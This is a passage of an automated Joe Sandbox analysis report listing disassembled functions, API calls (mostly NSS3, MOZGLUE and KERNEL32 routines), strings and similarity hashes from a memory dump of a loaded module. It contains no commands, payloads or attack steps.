Instruction Fuzzy Hash: F5110371A04214EBDB04CF25DC51EAAB7A5FF88314F004469FC194BA80EB35E916CBA6

Function 6C4B0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C4B0BDE), ref: 6C4B0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C4B0BDE), ref: 6C4B0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C4B0BDE), ref: 6C4B0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C4B0BDE), ref: 6C4B0E32

Strings

%s incr => %d (find lib), xrefs: 6C4B0E2D

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 4b7220926b982af56f3fb5bd013cc516e2421502d20ea3a2f45caefe7b794705
Instruction ID: 423c3aa2318e99e8267b70d624d3272e07b533cfcd1f903a0b6fb0f976e0eb27
Opcode Fuzzy Hash: 4b7220926b982af56f3fb5bd013cc516e2421502d20ea3a2f45caefe7b794705
Instruction Fuzzy Hash: 3001D8B1700314AFE710DF299C85E1BB3ACDB8560AB05446DE905E3B41E761FC1586F1

Function 6C56AC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]Ul,00000000,?,?,6C546AC6,?), ref: 6C56AC2D

Part of subcall function 6C50ADC0: TlsGetValue.KERNEL32(?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AE10
Part of subcall function 6C50ADC0: EnterCriticalSection.KERNEL32(?,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AE24
Part of subcall function 6C50ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C4ED079,00000000,00000001), ref: 6C50AE5A
Part of subcall function 6C50ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AE6F
Part of subcall function 6C50ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AE7F
Part of subcall function 6C50ADC0: TlsGetValue.KERNEL32(?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AEB1
Part of subcall function 6C50ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AEC9

PK11_FreeSymKey.NSS3(?,@]Ul,00000000,?,?,6C546AC6,?), ref: 6C56AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]Ul,00000000,?,?,6C546AC6,?), ref: 6C56AC59
free.MOZGLUE(8CB6FF01,6C546AC6,?,?,?,?,?,?,?,?,?,?,6C555D40,00000000,?,6C55AAD4), ref: 6C56AC62

Strings

@]Ul, xrefs: 6C56AC05

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]Ul
API String ID: 1595327144-1576844960
Opcode ID: 5a4bb63b0cb42dc2ef09b5e6063cc64fba7b23e9bd7e815355adbdeb69fa3037
Instruction ID: 2defaba7f715b52bbad370a6686a67920d1d00280d02ce198f99684a8752cc71
Opcode Fuzzy Hash: 5a4bb63b0cb42dc2ef09b5e6063cc64fba7b23e9bd7e815355adbdeb69fa3037
Instruction Fuzzy Hash: 590128B5600210DBEB00DF1AECC4B46B7A8AB54B5DF188069E9498FB06D735EC48CBA1

Function 6C442940 Relevance: 7.8, APIs: 6, Instructions: 327stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C441360,00000000), ref: 6C442A19
memcpy.VCRUNTIME140(?,00000009,00000034,?,?,?,6C441360,00000000), ref: 6C442A45
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6C442A7C

Part of subcall function 6C442D50: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,983E964F,?,?,00000000,?,6C44296E), ref: 6C442DA4

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C442AF3
memcpy.VCRUNTIME140(?,00000009,0000000C,?,?,?,6C441360,00000000), ref: 6C442B71
memset.VCRUNTIME140(00000000,00000000,00000034), ref: 6C442B90

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: memcpystrlen$memset
String ID:
API String ID: 638109778-0
Opcode ID: e1b879128f4916e1d1f20c11c963c5ce03a7a6a8fad1b41b1c3f25b4368f73ef
Instruction ID: 7027d65ce6777baab2c46cf72ec082875f59f3a7f5dfc876f9dd208698c99f35
Opcode Fuzzy Hash: e1b879128f4916e1d1f20c11c963c5ce03a7a6a8fad1b41b1c3f25b4368f73ef
Instruction Fuzzy Hash: 64C17371B016069BFB24CE69C854FAAB7A5FF88318F258229D915DB741DB30E842CBD1

Function 6C459C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C459CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C459D45
EnterCriticalSection.KERNEL32(?), ref: 6C459D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C459DDE

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 0e4280d09e8406e139897bf99cb2b33362037b2da05cb07c9347b56197a4bfe8
Instruction ID: 0ceb6aba4c7ce27f2de9ac277a582f6c707535f0c380ac4e0e753d9bb88ac2df
Opcode Fuzzy Hash: 0e4280d09e8406e139897bf99cb2b33362037b2da05cb07c9347b56197a4bfe8
Instruction Fuzzy Hash: A9A16BB17041008BEB08DF2AD8C9F7A7775AB56316F58012ED40646F40DB3BE866CB96

Function 6C45A910 Relevance: 7.7, APIs: 5, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebe76169d8817c31107d0a00eda006f2ef9118b49587dc13ec017dfb8d80926c
Instruction ID: a1547eee4b1a75aded929d23892fce458f2de5b2fa43a71b87e6b8c91a49ccdd
Opcode Fuzzy Hash: ebe76169d8817c31107d0a00eda006f2ef9118b49587dc13ec017dfb8d80926c
Instruction Fuzzy Hash: F391A075B002048FEB08DF66D8C9F7A77B5BF46306F44042EDA4647B40DB38A9A5CBA5

Function 6C4E1E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C4E1ECC

Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C5890AB
Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C5890C9
Part of subcall function 6C589090: EnterCriticalSection.KERNEL32 ref: 6C5890E5
Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C589116
Part of subcall function 6C589090: LeaveCriticalSection.KERNEL32 ref: 6C58913F

TlsGetValue.KERNEL32 ref: 6C4E1EDF
EnterCriticalSection.KERNEL32(?), ref: 6C4E1EEF
PR_ExitMonitor.NSS3(?), ref: 6C4E1F37
PR_Unlock.NSS3(?), ref: 6C4E1F44

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 32527a450906830d08b2622afc9b30a85928dfc57fc0777da1e1b1fd9829e968
Instruction ID: 459dc0fbcd69e6e1fda1b162bd6a67b65f6ea387fdbbe79db4b701b0b347d7b7
Opcode Fuzzy Hash: 32527a450906830d08b2622afc9b30a85928dfc57fc0777da1e1b1fd9829e968
Instruction Fuzzy Hash: 6A71ADB19043019FD700DF24D840E5AB7F1BF88359F164929E89993B22EB31F959CBD2

Function 6C495960 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 181stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C496AC4,?,?,?,?,?,?,?), ref: 6C4959DD
memcpy.VCRUNTIME140(?,6C496AC4,00000000,?,?,?,?,?,?,?,?), ref: 6C495A0C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?), ref: 6C495A3E
memcpy.VCRUNTIME140(?,?,00000000,?,?,?,?,?,?,?,?,?), ref: 6C495A65

Strings

index '%q', xrefs: 6C495B07

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: memcpystrlen
String ID: index '%q'
API String ID: 3412268980-1628151297
Opcode ID: 2ed7527d0a8db68cb0804c568195bd6f1f32035ce191a13bbc7610026a9c96c9
Instruction ID: e65220fcafba5023dfa847e8dea811a42445344b2bc087dc2551b1501c62eff7
Opcode Fuzzy Hash: 2ed7527d0a8db68cb0804c568195bd6f1f32035ce191a13bbc7610026a9c96c9
Instruction Fuzzy Hash: ED61CFB1E00229CBDB04CF98D881DEEFBB1BF49315F244229D91577B90E731A946CBA5

Function 6C56DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C56DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C56DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C56DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C56DE77

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 142fafaa90a4279e35ee3fd13951caf398d460d8b3c09a6fe0c1eb3712e214af
Instruction ID: c738f4e2dab2e01e2f2ee9ec9296abb1a82c6dfd68b08bf4e18019e049049022
Opcode Fuzzy Hash: 142fafaa90a4279e35ee3fd13951caf398d460d8b3c09a6fe0c1eb3712e214af
Instruction Fuzzy Hash: FF716771A00314CFDB10CF9AC9C0A99B7B4BF89718F25896ED9596BB22D770AD01CF90

Function 6C4DDFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C4DAB10: DeleteCriticalSection.KERNEL32(D958E852,6C4E1397,5B5F5EC0,?,?,6C4DB1EE,2404110F,?,?), ref: 6C4DAB3C
Part of subcall function 6C4DAB10: free.MOZGLUE(D958E836,?,6C4DB1EE,2404110F,?,?), ref: 6C4DAB49
Part of subcall function 6C4DAB10: DeleteCriticalSection.KERNEL32(5D5E6C6D), ref: 6C4DAB5C
Part of subcall function 6C4DAB10: free.MOZGLUE(5D5E6C61), ref: 6C4DAB63
Part of subcall function 6C4DAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C4DAB6F
Part of subcall function 6C4DAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C4DAB76

TlsGetValue.KERNEL32(?,?,6C4DB266,6C4E15C6,?,?,6C4E15C6), ref: 6C4DDFDA
EnterCriticalSection.KERNEL32(?,?,?,6C4DB266,6C4E15C6,?,?,6C4E15C6), ref: 6C4DDFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C4DB266,6C4E15C6,?,?,6C4E15C6), ref: 6C4DE029
PK11_IsLoggedIn.NSS3 ref: 6C4DE046

Part of subcall function 6C4E8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C4E8FAF
Part of subcall function 6C4E8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C4E8FD1
Part of subcall function 6C4E8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C4E8FFA
Part of subcall function 6C4E8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C4E9013
Part of subcall function 6C4E8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C4E9042
Part of subcall function 6C4E8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C4E905A
Part of subcall function 6C4E8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C4E9073
Part of subcall function 6C4E8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C4E9111

PR_Unlock.NSS3(?,?,?,?,6C4DB266,6C4E15C6,?,?,6C4E15C6), ref: 6C4DE149

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: a80e1f5bdb3b8167ef0478785d9b53dcf32ae34c50dc328ecdae480cb5564586
Instruction ID: 6c55d96bf695bd43863637fa8bd9f8bb4e5b547ef66482d71c49f1b02b2f67f0
Opcode Fuzzy Hash: a80e1f5bdb3b8167ef0478785d9b53dcf32ae34c50dc328ecdae480cb5564586
Instruction Fuzzy Hash: 71511474600611CBDB11EF29C5E4E6ABBF0AF4430AF16896CD9998BB41D731F885CBD2

Function 6C4EBE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C4EBF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C4EBF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C4C9F71,?,?,00000000), ref: 6C4EBF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C4EBFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C4EC014

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 95f51312b2be5cb4cd275c5dc508b66aa3ba3aefbf8291c444c6b3b194a4bae7
Instruction ID: 69292a7c4e01208f0aaa3e531adef90574961d87055aba99963f9f3950399bec
Opcode Fuzzy Hash: 95f51312b2be5cb4cd275c5dc508b66aa3ba3aefbf8291c444c6b3b194a4bae7
Instruction Fuzzy Hash: 4441D471A013059BEB00DE6ACC80FAA77B9AF4820AF124128ED19D7B41EB31E805CBD5

Function 6C4DC9E0 Relevance: 7.6, APIs: 5, Instructions: 132COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,00000000), ref: 6C4DCA21
EnterCriticalSection.KERNEL32(0000001C), ref: 6C4DCA35
PR_Unlock.NSS3(00000000), ref: 6C4DCA66
PR_SetError.NSS3(FFFFE041,00000000,00000000,?,?,00000000), ref: 6C4DCA77
PR_Unlock.NSS3(00000000), ref: 6C4DCAFC

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: 2395d1ba78457269ad1d020c4096fab8e0c60360643de892fa1e41284fda6452
Instruction ID: a9f0923ad0c4a5c1a2bb54426b09d9837ecdc10bcf752feb68d222a4b9a132cf
Opcode Fuzzy Hash: 2395d1ba78457269ad1d020c4096fab8e0c60360643de892fa1e41284fda6452
Instruction Fuzzy Hash: 6D41DE75A002059BEB00FF69DC91EAA7BB4AF45388F1641A8ED1897711EB31E9118BE1

Function 6C4BEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C4BEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C4BEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C4BEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4BEEEB
free.MOZGLUE(?), ref: 6C4BEEF6

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: d600791304f72bfc4fad7349824258211df70bb76ab653fc31d7b4666adbb476
Instruction ID: 95150f48c9ddf388cdec2d374e8d2a326b5925fa9d5aedb8c241a8ba1bee5e19
Opcode Fuzzy Hash: d600791304f72bfc4fad7349824258211df70bb76ab653fc31d7b4666adbb476
Instruction Fuzzy Hash: F631E0B1A00200ABE720DF2ACCC5F667BB4FB86316F040569E95A97B50D731E815CAF5

Function 6C4D1F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C4D1F1C

Part of subcall function 6C520FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521000
Part of subcall function 6C520FF0: PR_NewLock.NSS3(?,00000800,6C4BEF74,00000000), ref: 6C521016
Part of subcall function 6C520FF0: PL_InitArenaPool.NSS3(00000000,security,6C4C87ED,00000008,?,00000800,6C4BEF74,00000000), ref: 6C52102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C5E9EBC), ref: 6C4D1FB8
SEC_ASN1EncodeItem_Util.NSS3(6C5E9E9C,?,?,6C5E9E9C), ref: 6C4D200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C4D2020

Part of subcall function 6C4C6A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C4CAD50,?,?), ref: 6C4C6A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C4D2030

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 8023d1c1e1786da2b6a9f1ce38d548e617bb25dbff58c078886c1e3d3af0ad1e
Instruction ID: ae1a96ddc7eb7171e5ad7713620fb519a40587d87b6a1fbbf580a37422f1fd48
Opcode Fuzzy Hash: 8023d1c1e1786da2b6a9f1ce38d548e617bb25dbff58c078886c1e3d3af0ad1e
Instruction Fuzzy Hash: E4213975901501ABE711EA15DC00FAA7778FF4132DF150219ED2892F90EB32F928C7E2

Function 6C4C1DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

